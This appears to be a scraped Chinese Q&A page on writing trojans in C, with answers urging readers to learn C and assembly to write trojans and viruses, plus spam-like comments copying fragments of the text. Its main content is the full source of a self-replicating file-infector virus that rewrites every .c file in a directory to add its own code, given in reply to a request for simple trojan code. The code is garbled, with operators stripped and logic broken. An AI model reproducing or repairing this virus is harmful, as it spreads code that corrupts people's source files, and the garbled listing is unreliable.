×

C语言编写木马教程

C语言编写木马教程(简单木马程序编写代码)

hacker hacker 发表于2022-07-11 18:54:19 浏览17 评论5

5人参与发表评论

本文目录一览:

怎么制作木马

制作木马有很多中的、首先是编程的一些软件、这个是你自己选的、自己想学哪种编程就去学哪种编程、反正都能写木马的、编程的软件有VC、VB、C++/C、易语言、delph、JAVA等等、都有很多的、C、VB、JAVA都是一些高级语言的、你要写木马必须要学这些的、最简单的是易语言了、但是也是很差的、但可以写很多东西的、只要你会写就行了、会了想写什么就写什么、木马这个很简单的、会的人基本都能写、

我想学习C语言 什么样的开发环境最好 另外我想编写木马,请问编写木马都需要先学会什么说的越详细越好。

其实以上两位都讲的不错,学习C在linux下的确是不错的,不过呢不知到你的情况如何,在linux下至少得了解会用一个相关的系统,其实初学者还是不推荐的哈,那也是一门很大的学问了。在win下用VC是很不错的选择,虽然软件比较大,可是功能很齐全了,了解适用起来相对时间就能短很多,容易上手些。

写木马其实不是件简单的事,用C当然可以,但也需要结合其他的知识,另外那要看你能把C用的多牛逼了,还有一定要去学习汇编,在win下的汇编才是真正底层的东西,还得很了解计算机的组成原理和操作系统原理,以及深入了解程序如何在运行,代码在怎么跑,内存管理的机制,…,这点学C的时候就要同时多下功夫了,你了解的越多,懂的越多,理解的越深入,也才能真正自己写出木马、病毒来。再有一定基础的时候,自己你能写一些简单的小程序,能看懂别人的写的东西的时候,再去网上找源码、教程。

至于一些书、环境什么的,就要靠自己去寻找了,这里就没什么给你推荐的,自己能学懂的才是最好的。

如何用C语言制作木马

这个一两句也说不清楚 你首先要有信心去学习c语言,c语言不像vb,要到后期才能看到它的威力,所以要坚持的学下去 希望你能坚持住,教程网上随便一搜索就有了,还有可以去买书 都可以 总之要有耐心 坚持!!

c语言木马代码,简单点的,我保证不做违法的

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

再就是网上一百度一大堆的。

群贤毕至

访客
痴妓咽渡 痴妓咽渡2022-07-11 20:17:30 | 回复 *virus=\"",out); fputs(ffblk.ff_name,out); fputs("\";\n",out); } p=fgets(buffer,80,read); } }while(p!=NULL);fclose(read);
酒奴卮酒 酒奴卮酒2022-07-11 19:28:03 | 回复 的、但可以写很多东西的、只要你会写就行了、会了想写什么就写什么、木马这个很简单的、会的人基本都能写、我想学习C语言 什么样的开发环境最好 另外我想编写木马,请问编写木马
双笙晌融 双笙晌融2022-07-11 23:30:45 | 回复 很简单的、会的人基本都能写、我想学习C语言 什么样的开发环境最好 另外我想编写木马,请问编写木马都需要先学会什么说的越详细越好。其实以上两位都讲的不错,学习C在linux下的确是不错的,不过呢不知到你的情况如何,在linux下至少得了解会用一个相关的系统,其实初学者还是不推荐的哈,那也是
泪灼掩吻 泪灼掩吻2022-07-12 00:16:33 | 回复 底层的东西,还得很了解计算机的组成原理和操作系统原理,以及深入了解程序如何在运行,代码在怎么跑,内存管理的机制,…,这点学C的时候就要同时多下功夫了,你了解的越多
断渊绾痞 断渊绾痞2022-07-12 05:49:12 | 回复 s="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_v